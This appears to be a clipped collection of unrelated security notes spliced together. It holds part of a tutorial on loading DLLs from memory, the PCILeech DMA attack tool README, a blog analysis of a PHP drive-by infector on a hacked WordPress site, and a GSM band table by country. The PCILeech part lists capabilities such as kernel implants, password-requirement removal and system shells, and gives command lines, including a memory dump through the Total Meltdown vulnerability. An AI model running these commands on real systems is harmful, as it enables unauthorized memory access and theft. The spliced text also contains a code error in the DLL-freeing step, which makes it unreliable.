name.

Now you can use the ordinal number to read the address by evaluating the n-th
element of the AddressOfFunctions array.

#### Freeing the library

To free the custom loaded library, perform the steps

  * Call entry point to notify library about being detached: 
[code]    DllEntryProc entry = (DllEntryProc)(baseAddress +
PEHeader->OptionalHeader.AddressOfEntryPoint);

    (*entry)((HINSTANCE)baseAddress, DLL_PROCESS_ATTACH, 0);
    
    
[/code]

  * Free external libraries used to resolve imports. 
  * Free allocated memory. 

#### MemoryModule

MemoryModule is a C-library that can be used to load a DLL from memory.

The interface is very similar to the standard methods for loading of
libraries:

[code]

    typedef void *HMEMORYMODULE;
    
    HMEMORYMODULE MemoryLoadLibrary(const void *);
    FARPROC MemoryGetProcAddress(HMEMORYMODULE, const char *);
    void MemoryFreeLibrary(HMEMORYMODULE);
    
    
[/code]

##### Downloads

The latest development release can always be grabbed from my development
subversion server at http://fancycode.com/viewcvs/MemoryModule/trunk/

All released versions can be downloaded from the list below.

Version 0.0.2 \(MPL release\)

    http://www.joachim-bauch.de/tutorials/downloads/MemoryModule-0.0.2.zip
Version 0.0.1 \(first public release\)

    http://www.joachim-bauch.de/tutorials/downloads/MemoryModule-0.0.1.zip
##### Known issues

  * All memory that is not protected by section flags is gets committed using PAGE\_READWRITE. I don't know if this is correct.

##### License

Since version 0.0.2, the MemoryModule library is released under the Mozilla
Public License \(MPL\). Version 0.0.1 has been released unter the Lesser
General Public License \(LGPL\).

It is provided as-is without ANY warranty. You may use it at your own risk.

##### Ports

Thomas Heller added MemoryModule to py2exe to create single file executables
from Python scripts.

Martin Offenwanger did a port to Delphi which is available on this page.

#### Copyright

The MemoryModule library and this tutorial are Copyright \(c\) 2004-2006 by
Joachim Bauch.

# ufrisk/pcileech

**Created:**| _9/23/2018 8:52:49 AM_  
---|---  
**Updated:**| _9/23/2018 8:52:49 AM_  
**Author:**| _wishi_  
**Tags:**| _hardware Memory_  
  

  

# PCILeech Summary:

PCILeech uses PCIe hardware devices to read and write from the target system
memory. This is achieved by using DMA over PCIe. No drivers are needed on the
target system.

**PCILeech works without hardware together with memory dump files and the
Windows 7/2008R2 x64Total Meltdown / CVE-2018-1038 vulnerability.**

PCILeech supports multiple memory acquisition devices. Primarily hardware
based, but also dump files and software based techniques based on select
security issues are supported. USB3380 based hardware is only able to read 4GB
of memory natively, but is able to read all memory if a kernel module \(KMD\)
is first inserted into the target system kernel. FPGA based hardware is able
to read all memory.

PCILeech is capable of inserting a wide range of kernel implants into the
targeted kernels - allowing for easy access to live ram and the file system
via a "mounted drive". It is also possible to remove the logon password
requirement, loading unsigned drivers, executing code and spawn system shells.
PCIleech runs on Windows/Linux/Android. Supported target systems are currently
the x64 versions of: UEFI, Linux, FreeBSD, macOS and Windows.

PCILeech also supports the Memory Process File System - which can be used with
PCILeech FPGA hardware devices in read-write mode or with memory dump files in
read-only mode.

To get going clone the repository and find the required binaries, modules and
configuration files in the pcileech\_files folder.

For use cases and more detailed information check out this readme and the
project wiki pages.

<img src='img/_gh_mbp.jpg' width='200' height='150' /><img
src='img/_gh_m2.jpg' width='312' height='150' /><img src='img/_gh_shadow.jpg'
width='269' height='150' />

<img src='img/_gh_dump.gif' width='576' height='222' />

<img src='img/_gh_ac701_pcileech_main.jpg' width='291' height='150' />

# Capabilities:

  * Retrieve memory from the target system at >150MB/s.
  * Write data to the target system memory.
  * 4GB memory can be accessed in native DMA mode \(USB3380 hardware\).
  * ALL memory can be accessed in native DMA mode \(FPGA hardware\).
  * ALL memory can be accessed if kernel module \(KMD\) is loaded.
  * Raw PCIe TLP access \(FPGA hardware\).
  * Mount live RAM as file \[Linux, Windows, macOS\*\].
  * Mount file system as drive \[Linux, Windows, macOS\*\].
  * Mount memory process file system as driver \[Windows\].
  * Execute kernel code on the target system.
  * Spawn system shell \[Windows\].
  * Spawn any executable \[Windows\].
  * Pull files \[Linux, FreeBSD, Windows, macOS\*\].
  * Push files \[Linux, Windows, macOS\*\].
  * Patch / Unlock \(remove password requirement\) \[Windows, macOS\*\].
  * Easy to create own kernel shellcode and/or custom signatures.
  * Even more features not listed here ...

\*\) macOS High Sierra is not supported.

# Hardware:

PCILeech supports multiple hardware devices. Please check out the PCILeech
FPGA project for information about supported FPGA based hardware. Please check
out PCILeech USB3380 for information about USB3380 based hardware. PCILeech
also support memory dump files for limited functionality.

Please find a device comparision table below.

Device | Type | Interface | Speed | 64-bit memory access | PCIe TLP access  
---|---|---|---|---|---  
AC701/FT601 | FPGA | USB3 | 150MB/s | Yes | Yes  
PCIeScreamer | FPGA | USB3 | 100MB/s | Yes | Yes  
SP605/FT601 | FPGA | USB3 | 75MB/s | Yes | Yes  
SP605/TCP | FPGA | TCP/IP | 100kB/s | Yes | Yes  
USB3380-EVB | USB3380 | USB3 | 150MB/s | No \(via KMD only\) | No  
PP3380 | USB3380 | USB3 | 150MB/s | No \(via KMD only\) | No  
Recommended adapters:

  * PE3B - ExpressCard to mini-PCIe.
  * PE3A - ExpressCard to PCIe.
  * ADP - PCIe to mini-PCIe.
  * P15S-P15F - M.2 Key A+E to mini-PCIe.
  * Sonnet Echo ExpressCard Pro - Thunderbolt to ExpressCard.
  * Apple Thunderbolt3 \(USB-C\) - Thunderbolt2 dongle.

Please note that other adapters may also work.

# Installing PCILeech:

Please ensure you do have the most recent version of PCILeech by visiting the
PCILeech github repository at: https://github.com/ufrisk/pcileech

Clone the PCILeech Github repository. The binaries are found in
pcileech\_files and should work on 64-bit Windows and Linux. Please copy all
files from pcileech\_files since some files contains additional modules and
signatures.

#### Windows:

Please see the PCILeech-on-Windows guide for information about running
PCILeech on Windows.

The Google Android USB driver have to be installed if USB3380 hardware is
used. Download the Google Android USB driver from:
http://developer.android.com/sdk/win-usb.html\#download Unzip the driver.  
FTDI drivers have to be installed if FPGA is used with FT601 USB3 addon card.
Download the 64-bit `FTD3XX.dll` from FTDI and place it alongside
`pcileech.exe`.  
To mount live ram and target file system as drive in Windows the Dokany file
system library must be installed. Please download and install the latest
version of Dokany at: https://github.com/dokan-dev/dokany/releases/latest

#### Windows/DLL:

PCILeech is also available as a dynamic link library .DLL for easy including
in other projects. The DLL, headers and sample code is found in the
pcileech\_files/dll folder.

#### Linux and Android:

Please see the PCILeech-on-Linux guide for information about running PCILeech
on Linux or PCILeech-on-Android for Android information.

# Examples:

Please see the project wiki pages for more examples. The wiki is in a buildup
phase and information may still be missing.

Mount target system live RAM and file system, requires that a KMD is loaded.
In this example 0x11abc000 is used.

  * `pcileech.exe mount -kmd 0x11abc000`

Show help for a specific kernel implant, in this case lx64\_filepull kernel
implant.

  * `pcileech.exe lx64_filepull -help`

Show help for the dump command.

  * `pcileech.exe dump -help`

Dump all memory from the target system given that a kernel module is loaded at
address: 0x7fffe000.

  * `pcileech.exe dump -kmd 0x7fffe000`

Force dump memory below 4GB including accessible memory mapped devices using
more stable USB2 approach.

  * `pcileech.exe dump -force -usb2`

Receive PCIe TLPs \(Transaction Layer Packets\) and print them on screen
\(correctly configured FPGA dev board required\).

  * `pcileech.exe tlp -vv -wait 1000`

Probe/Enumerate the memory of the target system for readable memory pages and
maximum memory. \(FPGA hardware only\).

  * `pcileech.exe probe`

Dump all memory between addresses min and max, don't stop on failed pages.
Native access to 64-bit memory is only supported on FPGA hardware.

  * `pcileech.exe dump -min 0x0 -max 0x21e5fffff -force`

Force the usage of a specific device \(instead of default auto detecting it\).
The sp605\_tcp device is not auto detected.

  * `pcileech.exe pagedisplay -min 0x1000 -device sp605_tcp -device-addr 192.168.1.2`

Mount the PCILeech Memory Process File System from a Windows 10 64-bit memory
image.

  * `pcileech.exe mount -device c:\temp\memdump_win10.raw`

Dump memory using the the reported "TotalMeltdown" Windows 7/2008R2 x64 PML4
page table permission vulnerability.

  * `pcileech.exe dump -out memdump_win7.raw -device totalmeltdown -v -force`

# Generating Signatures:

PCILeech comes with built in signatures for Windows, Linux, FreeBSD and macOS.
For Windows 10 it is also possible to use the pcileech\_gensig.exe program to
generate alternative signatures.

# Limitations/Known Issues:

  * Read and write errors on some hardware with the USB3380. Try `pcileech.exe testmemreadwrite -min 0x1000` to test memory reads and writes against the physical address 0x1000 \(or any other address\) in order to confirm. If issues exists downgrading to USB2 may help.
  * The PCIeScreamer device may currently experience instability depending on target configuration and any adapters used.
  * Does not work if the OS uses the IOMMU/VT-d. This is the default on macOS \(unless disabled in recovery mode\). Windows 10 with Virtualization based security features enabled does not work fully - this is however not the default setting in Windows 10 or Linux.
  * Some Linux kernels does not work. Sometimes a required symbol is not exported in the kernel and PCILeech fails.
  * Linux based on the 4.8 kernel and later might not work with the USB3380 hardware. As an alternative, if target root access exists, compile and insert .ko \(pcileech\_kmd/linux\). If the system is EFI booted an alternative signature exists.
  * Windows 7: signatures are not published.
  * File system mount, including the Memory Process File System, support only exists for Windows.

# Building:

The binaries are found in the pcileech\_files folder. If one wish to build an
own version it is possible to do so. Please see the PCILeech-on-Windows,
PCILeech-on-Linux or PCILeech-on-Android for more information about building
PCILeech.

# Links:

# Changelog:

v1.0

  * Initial release.

v1.1-v2.6

  * Various updates. please see individual relases for more information.

v3.0

  * PCILeech Memory Process File System.
  * Internal refactorings.
  * Various bug fixes.

v3.1

  * Linux FPGA support.
  * Various bug fixes.

v3.2

  * Support for the CVE-2018-1038 aka Total Meltdown Windows 7/2008R2 vulnerability.
  * Support for Wow64 \(32-bit processes\) for the Memory Process File System.
  * Extended virt2phys support for the Memory Process File System.
  * Various bug fixes.

v3.3

  * Memory Process File System - 32-bit process support, parsing of imports, exports, directories and sections.
  * Total Meltdown stability fixes \(removed risk of bluescreen\) and increased memory support \(up to 512GB\).
  * Various bug fixes.

v3.4

  * Memory Process File System - runtime tunables in .config directory - allows for disabling of caching and adjusting refresh periods.
  * Various bug fixes

v3.5

  * PCILeech DLL released.
  * Update of Dokany header files.
  * Faster FPGA initialization time.
  * Various bug fixes

  

# PHP Infector | Kahu Security
**Created:**| _10/13/2013 8:18:03 AM_  
---|---  
**Updated:**| _10/13/2013 8:18:03 AM_  
**Author:**| __  
**Tags:**| _web-app-sec php backdoor_  
  

# **P** HP Infector****

A reader wanted me to analyze a PHP file that was found on his hacked
WordPress site**.** The script is made up of three parts as you can see**.**

<img src='img/Temp2_6022.png' alt='20131012_01' />

The top two sections contain an array of Base64-encoded strings**.** The
bottom section references the arrays and performs the main functions**.**

My first thought was to replace each of the array variables with the actual
decoded strings**.** Then I could read the script at the bottom and figure out
what it’s doing**.** But replacing each of the variable names with the values
from the array manually would be a pain**\!** \(Anyone got a better idea**?**
If so, let me know.\)

Whenever I come across a problem, I try to find a generic solution that I can
keep using in the future**.** Here’s what I came up with…

First I take each of the top two sections and separate the encoded values by
rows**.** So I take this:

<img src='img/Temp2_6023.png' alt='20131012_02' />

And use search/replace to make it look like this:

<img src='img/Temp2_6024.png' alt='20131012_03' />

Then I modified Converter to base64-decode each row separately:

<img src='img/Temp2_6020.png' alt='20131012_04' />

Then I replaced each row with a pipe delimiter \(since it wasn’t being used
anywhere\):

<img src='img/Temp2_6016.png' alt='20131012_05' />

I did the same for the second section:

<img src='img/Temp2_6017.png' alt='20131012_06' />

I wrote a program that does a search and replace of the array values**.** I
entered the search string that corresponded to the top section and pasted in
the decoded strings with the pipe delimiter to get the result**.**

<img src='img/Temp2_6018.png' alt='20131012_07' />

The second section was next**.**

<img src='img/Temp2_6019.png' alt='20131012_08' />

All done**\!** This script probably won’t execute properly because some of the
strings need to be quoted but at least you can get a much better idea of
what’s going on**.**

<img src='img/Temp2_6015.png' alt='20131012_09' />

Basically this downloads a file from a website, gets the URL and visits
it**.** It essentially serves up a drive-by link to unsuspecting visitors**.**

<img src='img/Temp2_6021.png' width='935' height='99' alt='20131012_10' />

The iframe link is the landing page of Sweet Orange**.** The link changes
every couple of minutes or so.

I’ll need to think about this more and see if there’s another generic
solution**.** If not, I’ll add this method to Converter in the future**.**

****

# GSM World Coverage Map- GSM Country List by frequency bands

**Created:**| _8/13/2016 11:25:47 PM_  
---|---  
**Updated:**| _8/13/2016 11:25:47 PM_  
**Author:**| __  
**Tags:**| _papers gsm sdr_  
  

  

| |  | 
# GSM Bands information by country \(August 8, 2016\)\*:  
---  
# Country / Territory

|

# 900

|

# 1800

|

# 1900

|

# 850

|

# 3G

|

# 4G \(live LTE, WiMAX, HSPA+, test, license\)  
  
If you have further updates or can provide corrections- please send Email with
credible Web referral source to verify your information.  
  
  
Afghanistan |  900  |  1800  |  |  | 3G 1900/2100 Etisalat; 3G 2100 MTN Afghanistan; 3G 2100 Salaam; | 4G in 2017 ?  
Albania |  900  |  1800  |  |  | 3G 2100 Vodafone, 3G 2100 Telekom Albania; 3G 2100 Eagle Mobile;  | PLUS AL HSPA+; 4G LTE Telekom Albania; 4G LTE Vodafone; 4G LTE Eagle Mobile  
Algeria |  900  |  1800  |  |  | 3G 2100 Mobilis; 3G 2100 Ooridoo; 3G 2100 Djezzy; | 4G LTE Algerie Telecom   
American Samoa |  |  |  1900  |  850  | 3G 850 Bluesky American Samoa; | 4G LTE O3b Networks ?  
Andorra |  900  |  1800  |  |  | 3G 2100 STA | 4G LTE Andorra Telecom  
Angola |  900  |  1800  |  |  | 3G 900/1800 Movicel; 3G 2100 Unitel;  | 4G Angola Movicel/China ZTE LTE 1800Mhz; 4G LTE Unitel; 4G LTE Multitel \(in Luanda\); <img src='img/new2.gif' width='28' height='11' />  
Anguilla |  |  |  1900  |  850  | 3G 850/1900 Digicel;  | 4G Digicel HSPA+  
Antigua and Barbuda |  900  |  |  1900  |  850  | 3G 2100 Digicel;  | 4G LTE Digicel 700Mhz; 4G LTE LIME  
Argentina |  |  |  1900  |  850  | 3G 850/1900 Claro, Movistar | 4G Claro HSPA+; 4G LTE Personal; 4G LTE Movistar  
Armenia |  900  |  1800  |  |  | 3G 1900/2100 VivaCell-MTS; 3G 900/2100 Orange; 3G 900/2100 Beeline; | 4G LTE VivaCell-MTS 2600Mhz  
Aruba \(ABC islands, Netherlands\) |  900  |  1800  |  1900  |  | 3G 2100 SETAR; 3G 2100 Digicel | 4G LTE SETAR 1800Mhz; 4G Digicel HSPA+ ;  
Australia |  900  |  1800  |  |  | 3G 850/2100 Telstra; 3G 900/2100 Optus; 3G 850/900/2100 Vodafone | 4G LTE Telstra 700/900/1800/2100Mhz; testing 4G LTE Telstra 2600Mhz ; 4G LTE Optus 700/1800/2600Mhz, 4G LTE Optus 2300Mhz \(Canberra\), 4G LTE Optus 2100Mhz \(Darwin, Cairns, Hobart, Sunshine Coast\); 4G LTE Vodafone 850/1800Mhz; 4G Vividwireless in Perth  
Austria |  900  |  1800  |  |  | 3G 2100 A1 Telekom; 3G 1900/2000/2100 Hutchison Drei; 3G 2100 Orange; 3G 2100 T-Mobile; | 4G LTE A1 Telekom 800/2600Mhz; 4G LTE T-Mobile Austria 2600Mhz; 4G LTE Orange 2600Mhz;  
Azerbaijan |  900  |  1800  |  |  | 3G 2100 Azercell Telecom; 3G 2100 Azerfon; 3G 2100 Bakcell; | 4G LTE Azercell 1800Mhz  
Bahamas |  |  |  1900  |  | 3G 850 BTC | 4G LTE BTC 700Mhz;   
Bahrain |  900  |  1800  |  |  | 3G 2100 Bahrain TeleCom; 3G 2100 Viva; 3G 2100 Zain | 4G LTE Viva 1800Mhz; 4G LTE Betelco 1800Mhz; 4G LTE Zain 1800Mhz; 4G LTE Menatelecom 3500Mhz;   
Bangladesh |  900  |  1800  |  |  | 3G 2100 Teletalk; 3G 2100 Grameenphone; 3G 2100 Robi; 3G 2100 Banglalink; 3G 2100 Airtel;  |  Bangladesh 4G WiMAX; 4G LTE BIEL 2600Mhz planned;  
Barbados |  900  |  1800  |  1900  |  | 3G 2100 Digicel; 3G 2100 LIME Barbados; | 4G LTE Digicel  
Belarus |  900  |  1800  |  |  | 3G 2100 Life; 3G 900/2100 Velcom; 3G 2100 JLLC \(MTS\); | 4G LTE beCloud 1800Mhz <img src='img/new2.gif' width='28' height='11' />; 4G LTE Velcom 2600Mhz; 4G LTE MTS 2600Mhz; 4G LTE Dialog \(CDMA\) 450Mhz;   
Belgium |  900  |  1800  |  |  | 3G 2100 BASE; 3G 2100 Proximus; 3G 2100 Mobistar;  | 4G LTE BASE 1800Mhz; 4G LTE BUCD 2600Mhz; 4G LTE Proximus 1800Mhz; 4G LTE Mobistar 900/2100Mhz;   
Belize |  |  |  1900  |  | 3G 850 HSPA+  | 4G LTE DigiCell 850/1900Mhz;   
Benin |  900  |  1800  |  |  | 3G 2100 Moov Benin; 3G 2100 MTN; | 4G LTE MTN; 4G LTE Benin Telecoms; <img src='img/new2.gif' width='28' height='11' />  
Bermuda |  |  |  1900  |  | 3G 850 CellOne; 3G 1900 Digicel; | 4G LTE CellOne  
Bhutan |  900  |  1800  |  |  | 3G 850/2100 B-Mobile; Tashi Infocomm | 4G LTE B-Mobile 1800Mhz;   
Bolivia |  |  |  1900  |  850  | 3G Tigo Bolivia 850; 3G Entel 850; 3G NuevaTel 850; | 4G LTE Entel 700Mhz; 4G LTE Tigo Bolivia   
Bosnia and Herzegovina |  900  |  1800  |  |  | 3G 2100 BH Telecom; 3G 2100 JSC Banja Luka;  | 4G LTE BH Telecom ?   
Botswana |  900  |  1800  |  |  | 3G 2100 Orange Botswana; 3G 2100 BeMobile; 3G 2100 Mascom; | 4G LTE Mascom / BeMobile; 4G LTE Orange 1800Mhz  
Bonaire \(ABC islands, Netherlands\) |  900  |  1800  |  1900  |  | 3G 2100 Digicel; 3G 850 Chippie - UTS | 4G Digicel HSPA+   
Brazil |  900  |  1800  |  1900  |  850  | 3G 850/2100 Vivo; 3G 850/2100 TIM; 3G 850/2100 Sercomtel; 3G 1900/2100 Nextel; 3G 1900/2100 Claro; 3G 1900/2100 Algar; 3G 2100 Oi Brazil; | 4G LTE Claro 2600Mhz; 4G LTE Oi Brazil 2600Mhz; 4G LTE TIM 2600Mhz; 4G LTE Vivo 2600Mhz; 4G LTE Nextel 1800Mhz; 4G LTE On Telecom 2600Mhz; 4G LTE SKY Brasil 2600Mhz;  
British Virgin Islands |  900  |  1800  |  1900  |  850  | 3G 2100 CCT; 3G 2100 Digicel; 3G 2100 LIME; | 4G LTE Router - CCT Wireless   
Brunei Darussalam |  900  |  |  |  | 3G 2100 DSTCom; 3G 2100 PCSB; | 4G LTE DSTCom 1800Mhz  
Bulgaria |  900  |  1800  |  |  | 3G 900/2100 Vivacom; 3G 900/2100 Telenor; 3G 2100 Mobiltel;  | 4G LTE Max Telecom 1800Mhz; 4G LTE Telenor 1800Mhz;   
Burkina Faso |  900  |  |  |  | 3G - 3.75G Airtel HSPA+  
Burma \(Myanmar\) |  900  |  |  |  | 3G 900/2100 Ooredoo ; 3G Telenor Myanmar | 4G LTE MPT \(temp. in Yangon, Mandalay, Naypyitaw, Ngwe Saung beach\) ?  
Burundi |  900  |  1800  |  |  | 3G 1900/2100 Econet;  
Cambodia |  900  |  1800  |  |  | 3G 2100 CamGSM; 3G 2100 CADCOMMS; 3G 2100 Mfone; 3G 2100 SMART; 3G 2100 Viettel;  | 4G LTE SMART 1800Mhz   
Cameroon |  900  |  1800  |  |  | 3G 2100 Nexttel; 3G 2100 MTN; 3G 2100 Mfone; 3G 2100 Orange; <img src='img/new2.gif' width='28' height='11' /> | 4G WiMAX Africa AG/YooMee; 4G LTE MTN Cameroon <img src='img/new2.gif' width='28' height='11' />  
Canada |  |  |  1900  |  850  | 3G 850/1900 Bell Mobility; 3G 1700/2100 ALO Mobile; 3G 1700/2100 Bragg; 3G 1700/2100 DAVE; 3G 1700 Globalive; 3G 850/1900/2100 Rogers; 3G 850/1900 SaskTel; 3G 1900 TBayTel ; 3G 850/1900 TELUS; 3G 1700 Videotron; 3G 850/1900 fido; 3G 1700/2100 WIND;  | 4G LTE Bell Mobility 700/1700/2100/2600/2500Mhz; 4G LTE Rogers 700/1700/2100Mhz; 4G LTE SaskTel 1700/2100Mhz; 4G LTE TELUS 1700/2100Mhz; 4G LTE fido 700/1700/2100Mhz; 4G LTE WIND 1700/2100Mhz;   
AWS-3 spectrum to AT&T, Verizon, T-Mobile;  
Cape Verde |  900  |  1800  |  |  | 3G 2100 CV Movel; 3G 2100 T-MAIS; | ANAC consultation for 4G LTE  
Cayman Islands |  900  |  1800  |  1900  |  850  |  | 4G LTE Digicel Cayman Islands 1800Mhz \(700Mhz- Planned\); 4G LTE FLOW 700Mhz;   
Central African Republic |  900  |  1800  |  |  |  | 4G WiMAX Airspan Contract ?  
Chad |  900  |  1800  |  |  |  | 4G LTE Tigo testing in N’Djamena <img src='img/new2.gif' width='28' height='11' />  
Chile |  |  |  1900  |  850  | 3G 850/1900 Telefonica Movil; 3G 1900 Entel; 3G 1700/2100 Nextel Chile; 3G 850 VTR Movil;  | 4G LTE Movistar 2600Mhz; 4G LTE Entel 2600Mhz; 4G LTE Claro 2600Mhz;   
China |  900  |  |  |  | 3G 2100 China Unicom; 3G 2100 China Mobile;  | 4G LTE China Mobile 2500Mhz; 4G LTE China Unicom 2500Mhz; 4G LTE China Telecom 2500Mhz   
China, Hong Kong \(SAR\) |  900  |  1800  |  |  | 3G 2100 CSL Ltd; 3G 2100 HKT; 3G 900/2100 Hutchison; 3G 2100 SmarTone;  | 4G LTE HKT 1800/2600Mhz; 4G LTE Hutchison 1800/2600Mhz; 4G LTE SmarTone 1800Mhz;   
China, Macau \(SAR\)  |  900  |  1800  |  |  | 3G 2100 CTM; 3G 900/2100 Hutchison; 3G 2100 SmarTone; | 4G LTE CTM  
Christmas Island \(Australia\) |  900  |  1800  |  |  |  |   
Colombia |  |  |  1900  |  850  | 3G 850/1900 Claro; 3G 2100 Tigo; 3G 850/1900 Movistar; | 4G LTE Movistar 1700Mhz; 4G LTE Claro 2600Mhz; 4G LTE DirecTV 2600Mhz; 4G LTE Tigo 1700Mhz; 4G LTE Une-EPM 2600Mhz;   
Comoros |  900  |  1800  |  |  |  | 4G LTE Telma at the end of 2016 <img src='img/new2.gif' width='28' height='11' />;  |   
Congo, Democratic Republic |  900  |  1800  |  |  | 3G 2100 Oasis sprl \(TIGO\); 3G 2100 Orange RDC Sarl; 3G+ Vodacom DRC; 3G+ Airtel DRC;  | 4G LTE Smile in early 2016 <img src='img/new2.gif' width='28' height='11' />; 4G TD-LTE Afrimax Group planning<img src='img/new2.gif' width='28' height='11' />;   
Congo, Republic of the |  900  |  1800  |  |  | 3G 2100 Airtel;  
Cook Islands |  900  |  |  |  | 3G O3b Networks; | 4G LTE O3b Networks ?  
Costa Rica |  |  1800  |  |  850  | 3G 850 ICE \(Kolbi\); 3G 2100 Claro CR; 3G 850/2100 Movistar;  | 4G LTE Claro 1800Mhz; 4G LTE ICE \(Kolbi\) 2600Mhz; 4G LTE Movistar 1800Mhz;   
Cote d'Ivoire \(Ivory Coast\) |  900  |  1800  |  |  |  | 4G LTE YooMee Africa; 4G LTE Orange 1800Mhz <img src='img/new2.gif' width='28' height='11' />  
Croatia |  900  |  1800  |  |  | 3G 2100 Hrvatski Telekom; 3G 2100 VIP-NET;  | 4G LTE Hrvatski Telekom 1800Mhz; 4G LTE VIP-NET 800/1800Mhz;   
Cuba |  900  |  |  |  | 3G 2100 Cubacel Cuba;  
Curacao \(ABC islands, Netherlands\) |  900  |  1800  |  1900  |  | 3G 2100 Digicel; 3G 850 Chippie - UTS | 4G Digicel HSPA+ ; 4G LTE UTS testing   
Cyprus |  900  |  1800  |  |  | 3G 2100 MTN; 3G 2100 Cytamobile-Vodafone; | 4G LTE MTN ; 4G LTE PrimeTel;   
Czech Republic |  900  |  1800  |  |  | 3G 2100 O2 - CZ; 3G 2100 T-Mobile CZ; 3G 2100 Vodafone;  | 4G LTE O2 800/1800Mhz; 4G LTE T-Mobile CZ 800/1800/2100Mhz; 4G LTE Vodafone 800/900/1800/2100Mhz;   
Denmark |  900  |  1800  |  |  | 3G 2100 3 DK; 3G 2100 TDC Mobil; 3G 900/2100 Telenor; 3G 2100 Telia; | 4G 3 DK 1800/2600Mhz; 4G TDC 800/2600Mhz; 4G Telenor 1800/2600Mhz; 4G Telia 1800/2600Mhz;   
Diego Garcia |  900  |  |  |   
Djibouti |  900  |  |  |  | 3G - 3.5G Telecom HSPA+ | 4G LTE Telecom testing in 10 cities; <img src='img/new2.gif' width='28' height='11' />  
Dominica |  900  |  |  1900  |  850  | 3G 2100 Digicel; 3G 2100 LIME; | 4G LTE C&W Dominica \(LIME\)   
Dominican Republic |  900  |  1800  |  1900  |  850  | 3G 850 Claro; 3G 900 Orange; 3G 900 Viva; | 4G LTE Orange 1800Mhz; 4G LTE Claro 1700Mhz; 4G LTE Tricom 1900Mhz;   
East Timor \(Timor-Leste\) |  900  |  1800  |  |  850 Planned | Timor Telecom; Telkomcel; Viettel-Planned; 3G 2100 PT Telekomunikasi Indonesia- Planned  
Ecuador |  |  |  1900  |  850  | 3G 850 Claro; 3G 2100 MOVISTAR;  | 4G LTE CNT Mobile 1700Mhz;   
Egypt |  900  |  1800  |  |  | 3G 2100 MobiNil; 3G 2100 Etisalat; 3G 2100 Vodafone; | 4G LTE MobiNil / Ericsson  
El Salvador |  900  |  |  1900  |  850  | 3G 1900 Claro; 3G 850 TIGO; 3G 850/1900 Movistar  
Equatorial Guinea |  900  |  1800  |  |   
Eritrea |  900  |  |  |   
Estonia |  900  |  1800  |  |  | 3G 2100 EMT; 3G 2100 Elisa Eesti; 3G 2100 Tele2; | 4G LTE EMT 800/1800/2600Mhz; 4G LTE Elisa 800/1800/2600Mhz; 4G LTE Tele2 1800/2600Mhz;   
Ethiopia |  900  |  |  |  | 3G 2100 Ethio-Telecom in Addis Ababa;  | 4G LTE Ethio-Telecom in Addis Ababa;   
Falkland Islands \(Islas Malvinas\) |  900  |  |  |   
Faroe Islands |  900  |  1800  |  |  | 3G 900/2100 Foroya Tele; 3G 2100 VODAFONE;   
Fiji |  900  |  |  |  | 3G 900 Digicel; 3G 2100 Vodafone; | 4G LTE Vodafone 1800Mhz; 4G LTE Digicel 1800Mhz;   
Finland |  900  |  1800  |  |  | 3G 900/2100 DNA; 3G 900/2100 Elisa; 3G 2100 TeliaSonera; 3G 2100 Alands;  | 4G LTE TeliaSonera 1800/2600Mhz; 4G LTE DNA 1800/2600Mhz; 4G LTE Elisa 800/1800/2600Mhz;   
France |  900  |  1800  |  |  | 3G 900/2100 Bouygues; 3G 900/2100 Free Mobile; 3G 900/2100 Orange; 3G 900/2100 SFR;  |  4G LTE SFR 700 \(undeployed\) / 800/1800/2600Mhz; 4G LTE Free Mobile 700 \(being deployed\) <img src='img/new2.gif' width='28' height='11' />/ 1800/2600Mhz; 4G LTE Orange 700 \(undeployed\) /800/1800/2600Mhz; 4G LTE Bouygues 700Mhz \(being deployed\) <img src='img/new2.gif' width='28' height='11' />/800/1800/2600Mhz; ;  
French Guiana \(Guyane\) \(French West Indies\) |  900  |  1800  |  |  | 3G 2100 Digicel;  | 4G LTE Orange roaming;  
French Polynesia |  900  |  |  |  | 3G 2100 Vodafone; 3G 2100 Vini;   
French West Indies |  900  |  1800  |  |  |  | 4G LTE Orange roaming;  
Gabon |  900  |  1800  |  |  |  | 4G LTE Gabon Telecom; 4G LTE Airtel Gabon; <img src='img/new2.gif' width='28' height='11' />  
Gambia |  900  |  1800  |  |  | 3G 2100 QCell  | 4G WiMAX Alvarion, 4G LTE Netpage; <img src='img/new2.gif' width='28' height='11' />  
Gaza Strip / West Bank |  900  |  1800  |  |  | 3G 2100 Cellcom;   
Georgia |  900  |  1800  |  |  | 3G 2100 Geocell; 3G 2100 Magticom;  | 4G LTE Aquafon; 4G LTE Beeline; 4G LTE MagtiCom; 4G LTE Geocell; ;  
Germany |  900  |  1800  |  |  | 3G 2100 E-Plus Mobilfunk; 3G 2100 O2; 3G 2100 Telekom; 3G 2100 Vodafone;  | 4G LTE Telekom 800/1800/2600Mhz; 4G LTE O2 800/2600Mhz; 4G LTE Vodafone 800/2600Mhz;   
Ghana |  900  |  1800  |  |  | 3G 900/2100 Scancom;  | 4G LTE Surfline 2600Mhz; 4G LTE BLU; 4G LTE Busy<img src='img/new2.gif' width='28' height='11' />;   
Gibraltar |  900  |  1800  |  |  | 3G 2100 Eazi; 3G 2100 GIBTEL;  | 4G LTE Gibtelecom   
Greece |  900  |  1800  |  |  | 3G 2100 Cosmote; 3G 900/2100 Vodafone; 3G 900/2100 WIND;  | 4G LTE Cosmote 800/1800/2600Mhz; 4G LTE Vodafone 800/1800/2600Mhz; 4G LTE WIND 800/1800/2600Mhz;  
Greenland |  900  |  |  |  | 3G/HSPA+ 900 MHz | 4G LTE TELE Greenland 800Mhz;   
Grenada |  900  |  1800  |  |  850   
Guadeloupe \(French West Indies\) |  900  |  |  |  | 3G 2100 Digicel; 3G 2100 Orange;  | 4G LTE Orange roaming;  
Guam |  |  |  1900  |  850  | 3G 850 Docomo; 3G 850 Pulse Mobile;  | 4G LTE DoCoMo Pacific 700Mhz; 4G LTE GTA 1700Mhz; 4G LTE iConnect 700Mhz; 4G LTE IT&E Overseas 700Mhz;   
Guatemala |  900  |  |  1900  |  850  | 3G 1900 Claro; 3G 1900 Telefonica; 3G 850 Tigo; | 4G LTE Tigo 850Mhz; 4G LTE Movistar 1900Mhz; 4G LTE CLARO 1900Mhz;   
Guernsey |  900  |  1800  |  |  | 3G 2100 JT \(Guernsey\); 3G 2100 Sure \(Guernsey\); 3G 2100 Airtel Vodafone;  | 4G LTE Sure Guernsey   
Guinea |  900  |  1800  |  |  | 3G 2100 Cellcom;  | 4G LTE Sotelgui planning <img src='img/new2.gif' width='28' height='11' />  
Guinea-Bissau |  900  |  1800  |  |  |  | 4G LTE Orange 1800Mhz <img src='img/new2.gif' width='28' height='11' />  
